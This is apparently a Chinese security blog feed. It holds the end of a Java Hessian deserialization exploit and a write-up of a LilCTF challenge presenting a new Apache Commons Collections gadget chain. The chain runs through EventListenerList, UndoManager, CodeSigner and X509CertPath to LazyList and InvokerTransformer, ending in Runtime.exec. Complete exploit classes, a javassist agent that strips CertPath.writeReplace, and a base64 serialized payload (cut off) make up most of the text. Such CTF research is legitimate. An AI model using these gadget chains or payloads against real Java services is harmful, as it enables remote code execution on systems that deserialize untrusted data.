nodeC.getDeclaredConstructor(<span class="type">int</span>.class, Object.class, Object.class, nodeC);</span><br><span class="line">        setAccessible(nodeCons);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">tbl</span> <span class="operator">=</span> Array.newInstance(nodeC, <span class="number">2</span>);</span><br><span class="line">        Array.set(tbl, <span class="number">0</span>, nodeCons.newInstance(<span class="number">0</span>, conEntry1, conEntry1, <span class="literal">null</span>));</span><br><span class="line">        Array.set(tbl, <span class="number">1</span>, nodeCons.newInstance(<span class="number">0</span>, conEntry2, conEntry2, <span class="literal">null</span>));</span><br><span class="line">        setFieldValue(s, <span class="string">&quot;table&quot;</span>, tbl);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">table</span> <span class="operator">=</span> ConcurrentHashMap.class.getDeclaredField(<span class="string">&quot;table&quot;</span>);</span><br><span class="line">        table.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        table.set(s, tbl);</span><br><span class="line">        System.setProperty(<span class="string">&quot;com.sun.jndi.ldap.object.trustURLCodebase&quot;</span>, <span class="string">&quot;true&quot;</span>);</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">byteArrayOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">Hessian2Output</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hessian2Output</span>(byteArrayOutputStream);</span><br><span class="line"></span><br><span class="line">        <span class="type">SerializerFactory</span> <span class="variable">sf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SerializerFactory</span>();</span><br><span class="line">        sf.setAllowNonSerializable(<span class="literal">true</span>);</span><br><span class="line">        out.setSerializerFactory(sf);</span><br><span class="line">        out.writeObject(s);</span><br><span class="line">        out.flush();</span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">byteArrayInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(byteArrayOutputStream.toByteArray());</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">Hessian2Input</span>(byteArrayInputStream).readObject();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">generateRandomString</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">Random</span> <span class="variable">random</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Random</span>();</span><br><span class="line">        <span class="type">int</span> <span class="variable">length</span> <span class="operator">=</span> random.nextInt(<span class="number">20</span>)+<span class="number">1</span>;</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(length);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; length; i++) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">index</span> <span class="operator">=</span> random.nextInt(CHARACTERS.length());</span><br><span class="line">            <span class="type">char</span> <span class="variable">randomChar</span> <span class="operator">=</span> CHARACTERS.charAt(index);</span><br><span class="line">            sb.append(randomChar);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> sb.toString();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(<span class="keyword">final</span> Object obj, <span class="keyword">final</span> String fieldName, <span class="keyword">final</span> Object value)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> getField(obj.getClass(), fieldName);</span><br><span class="line">        field.set(obj, value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; T <span class="title function_">createWithoutConstructor</span> <span class="params">( Class&lt;T&gt; classToInstantiate )</span></span><br><span class="line">            <span class="keyword">throws</span> NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException &#123;</span><br><span class="line">        <span class="keyword">return</span> createWithConstructor(classToInstantiate, Object.class, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>], <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; T <span class="title function_">createWithObjectNoArgsConstructor</span><span class="params">(Class&lt;T&gt; clzToInstantiate)</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="type">T</span> <span class="variable">resObject</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            resObject = createWithConstructor(clzToInstantiate, Object.class, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>], <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) &#123;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> resObject;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; T <span class="title function_">createWithConstructor</span> <span class="params">( Class&lt;T&gt; classToInstantiate, Class&lt;? <span class="built_in">super</span> T&gt; constructorClass, Class&lt;?&gt;[] consArgTypes, Object[] consArgs )</span></span><br><span class="line">            <span class="keyword">throws</span> NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException &#123;</span><br><span class="line">        Constructor&lt;? <span class="built_in">super</span> T&gt; objCons = constructorClass.getDeclaredConstructor(consArgTypes);</span><br><span class="line">        setAccessible(objCons);</span><br><span class="line">        Constructor&lt;?&gt; sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);</span><br><span class="line">        setAccessible(sc);</span><br><span class="line">        <span class="keyword">return</span> (T)sc.newInstance(consArgs);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Field <span class="title function_">getField</span><span class="params">(<span class="keyword">final</span> Class&lt;?&gt; clazz, <span class="keyword">final</span> String fieldName)</span> &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            field = clazz.getDeclaredField(fieldName);</span><br><span class="line">            setAccessible(field);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">catch</span> (NoSuchFieldException ex) &#123;</span><br><span class="line">            <span class="keyword">if</span> (clazz.getSuperclass() != <span class="literal">null</span>)</span><br><span class="line">                field = getField(clazz.getSuperclass(), fieldName);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> field;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setAccessible</span><span class="params">(AccessibleObject member)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">versionStr</span> <span class="operator">=</span> System.getProperty(<span class="string">&quot;java.version&quot;</span>);</span><br><span class="line">        <span class="type">int</span> <span class="variable">javaVersion</span> <span class="operator">=</span> Integer.parseInt(versionStr.split(<span class="string">&quot;\\.&quot;</span>)[<span class="number">0</span>]);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// not possible to quiet runtime warnings anymore...</span></span><br><span class="line">            <span class="comment">// see https://bugs.openjdk.java.net/browse/JDK-8210522</span></span><br><span class="line">            <span class="comment">// to understand impact on Permit (i.e. it does not work</span></span><br><span class="line">            <span class="comment">// anymore with Java &gt;= 12)</span></span><br><span class="line">            member.setAccessible(<span class="literal">true</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;figure class=&quot;highlight java&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>Lilctf_blade_cc</title>
    <link href="https://www.n1ght.cn/2025/08/21/blade_cc/"/>
    <id>https://www.n1ght.cn/2025/08/21/blade_cc/</id>
    <published>2025-08-21T06:00:00.000Z</published>
    <updated>2025-08-21T06:41:56.316Z</updated>
    
    <content type="html"><![CDATA[<p>这个题目的大部分链子存在博客里面：</p><p><a href="https://www.n1ght.cn/2024/04/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecommons-collections-TransformedList%E8%A7%A6%E5%8F%91transform/">https://www.n1ght.cn/2024/04/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecommons-collections-TransformedList%E8%A7%A6%E5%8F%91transform/</a></p><p>所用到的类java原生类和common-collections类<br>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/cc-20240820160731-h873z4i.jpg" alt="cc"><br>jdk版本是<br>jdk1.8.0_162<br>看到之前师傅总结的cc链子的图，我去使用CodeQL寻找了一下，发现除了Map，List也能触发。<br>我找了一个可以触发到transform的链子，剩下的作用如InvokerTransform触发二次反序列化没有写，这边使用ChainedTransformer做一个例子<br>调用链：<br>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075448-0xanqgn.png" alt="image"></p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>eventListener触发CodeSigner的toString方法</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075455-4gcufyl.png" alt="image"></p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075500-c01lfjh.png" alt="image"><br>signerCertPath.getCertificates().get(0)<br>这一行代码<br>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075506-dnq0n3g.png" alt="image"><br>调用了signerCertPath的get(0)<br>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075517-ek9tv9l.png" alt="image"><br>也就是LazyList的get(0)，由于factory用的是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">ConstantFactory</span>(chainedTransformer)</span><br></pre></td></tr></table></figure><p>所以object就为chainedTransformer<br>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075522-dfu6ybl.png" alt="image"><br>进入<br>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075529-6b12yvl.png" alt="image"><br>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075535-t9wbqm4.png" alt="image"><br>最后就进入了InvokerTransform的transform<br>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075542-yzxwivw.png" alt="image"><br>由于CertPath重写了writeReplace导致序列化异常，我使用了agent将其hook掉</p><h2 id="agent-hook"><a href="#agent-hook" class="headerlink" title="agent hook"></a>agent hook</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;  </span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;  </span><br><span class="line"><span class="keyword">import</span> javassist.CtMethod;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.ClassFileTransformer;  </span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.IllegalClassFormatException;  </span><br><span class="line"><span class="keyword">import</span> java.security.ProtectionDomain;  </span><br><span class="line"><span class="keyword">import</span> java.security.cert.CertPath;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RemoveReplaceTransformer</span> <span class="keyword">implements</span> <span class="title class_">ClassFileTransformer</span> &#123;  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, <span class="type">byte</span>[] classfileBuffer) <span class="keyword">throws</span> IllegalClassFormatException &#123;  </span><br><span class="line">        <span class="keyword">if</span>(className.equals(<span class="string">&quot;java/security/cert/CertPath&quot;</span>))&#123;  </span><br><span class="line">            <span class="keyword">try</span> &#123;  </span><br><span class="line">                System.out.println(<span class="literal">true</span>);  </span><br><span class="line">                <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();  </span><br><span class="line">                <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.get(<span class="string">&quot;java.security.cert.CertPath&quot;</span>);  </span><br><span class="line">                <span class="type">CtMethod</span> <span class="variable">writeReplace</span> <span class="operator">=</span> ctClass.getDeclaredMethod(<span class="string">&quot;writeReplace&quot;</span>);  </span><br><span class="line">                ctClass.removeMethod(writeReplace);  </span><br><span class="line">                ctClass.detach();  </span><br><span class="line">                <span class="keyword">return</span> ctClass.toBytecode();  </span><br><span class="line">            &#125;<span class="keyword">catch</span> (Exception e)&#123;  </span><br><span class="line">                System.out.println(e);;  </span><br><span class="line">            &#125;  </span><br><span class="line">  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">return</span>  classfileBuffer;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将agent加上</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.web;  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantFactory;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.list.LazyList;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.list.TransformedList;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.ListOrderedMap;  </span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;  </span><br><span class="line"><span class="keyword">import</span> sun.security.provider.certpath.X509CertPath;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> javax.swing.event.EventListenerList;  </span><br><span class="line"><span class="keyword">import</span> javax.swing.undo.UndoManager;  </span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;  </span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;  </span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;  </span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;  </span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;  </span><br><span class="line"><span class="keyword">import</span> java.security.CodeSigner;  </span><br><span class="line"><span class="keyword">import</span> java.util.*;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ccExp</span> &#123;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">  </span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)  </span><br><span class="line">        &#125;;  </span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);  </span><br><span class="line">        ArrayList&lt;Object&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();  </span><br><span class="line">        list.add(<span class="literal">null</span>);  </span><br><span class="line">        <span class="type">List</span> <span class="variable">decorate1</span> <span class="operator">=</span> TransformedList.decorate(list, chainedTransformer);  </span><br><span class="line">        <span class="type">List</span> <span class="variable">decorate</span> <span class="operator">=</span> LazyList.decorate(decorate1, <span class="keyword">new</span> <span class="title class_">ConstantFactory</span>(chainedTransformer));  </span><br><span class="line">        HashMap&lt;Object, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        <span class="type">ListOrderedMap</span> <span class="variable">decorated</span> <span class="operator">=</span> (ListOrderedMap) ListOrderedMap.decorate(map);  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> Unsafe.class.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);  </span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);  </span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) field.get((Object) <span class="literal">null</span>);  </span><br><span class="line">        unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField(<span class="string">&quot;insertOrder&quot;</span>)), decorate);  </span><br><span class="line">        <span class="type">X509CertPath</span> <span class="variable">o</span> <span class="operator">=</span> (X509CertPath) unsafe.allocateInstance(X509CertPath.class);  </span><br><span class="line">        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField(<span class="string">&quot;certs&quot;</span>)), decorate);  </span><br><span class="line">        <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> unsafe.allocateInstance(CodeSigner.class);  </span><br><span class="line">        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField(<span class="string">&quot;signerCertPath&quot;</span>)), o);  </span><br><span class="line">        <span class="type">EventListenerList</span> <span class="variable">list2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EventListenerList</span>();  </span><br><span class="line">        <span class="type">UndoManager</span> <span class="variable">manager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UndoManager</span>();  </span><br><span class="line">        <span class="type">Vector</span> <span class="variable">vector</span> <span class="operator">=</span> (Vector) getFieldValue(manager, <span class="string">&quot;edits&quot;</span>);  </span><br><span class="line">        vector.add(o1);  </span><br><span class="line">        unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField(<span class="string">&quot;listenerList&quot;</span>)),<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;InternalError.class, manager&#125;);  </span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">bao</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();  </span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(bao).writeObject(list2);  </span><br><span class="line">        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));  </span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">bin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bao.toByteArray());  </span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bin).readObject();  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getFieldValue</span><span class="params">(Object obj, String fieldName)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> getField(obj.getClass(), fieldName);  </span><br><span class="line">        <span class="keyword">return</span> field.get(obj);  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Field <span class="title function_">getField</span><span class="params">(Class&lt;?&gt; clazz, String fieldName)</span> &#123;  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> <span class="literal">null</span>;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            field = clazz.getDeclaredField(fieldName);  </span><br><span class="line">            field.setAccessible(<span class="literal">true</span>);  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (NoSuchFieldException var4) &#123;  </span><br><span class="line">            <span class="keyword">if</span> (clazz.getSuperclass() != <span class="literal">null</span>) &#123;  </span><br><span class="line">                field = getField(clazz.getSuperclass(), fieldName);  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">return</span> field;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将base64编码内容，序列化<br>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075555-0kjgk9b.png" alt="image"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.web;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> <span class="string">&quot;rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAYamF2YS5zZWN1cml0eS5Db2RlU2lnbmVyXqL6Zsshmq0CAAJMAA5zaWduZXJDZXJ0UGF0aHQAHUxqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydFBhdGg7TAAJdGltZXN0YW1wdAAZTGphdmEvc2VjdXJpdHkvVGltZXN0YW1wO3hwc3IAK3N1bi5zZWN1cml0eS5wcm92aWRlci5jZXJ0cGF0aC5YNTA5Q2VydFBhdGhFP1T3TEUgtAIAAUwABWNlcnRzdAAQTGphdmEvdXRpbC9MaXN0O3hyABtqYXZhLnNlY3VyaXR5LmNlcnQuQ2VydFBhdGhUN4mXfdPl+wIAAUwABHR5cGV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHBzcgAsb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuTGF6eUxpc3ToSpYmWppU8gIAAUwAB2ZhY3Rvcnl0AChMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL0ZhY3Rvcnk7eHIARW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5saXN0LkFic3RyYWN0U2VyaWFsaXphYmxlTGlzdERlY29yYXRvciVC5Cn2jXtrAwAAeHBzcgAzb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuVHJhbnNmb3JtZWRMaXN0DvL1W62zYVUCAAB4cgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbGxlY3Rpb24uVHJhbnNmb3JtZWRDb2xsZWN0aW9ueKFA96RzDpoCAAFMAAt0cmFuc2Zvcm1lcnQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHIAUW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5jb2xsZWN0aW9uLkFic3RyYWN0U2VyaWFsaXphYmxlQ29sbGVjdGlvbkRlY29yYXRvcla8EBO7pqE0AwAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAXcEAAAAAXB4eHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5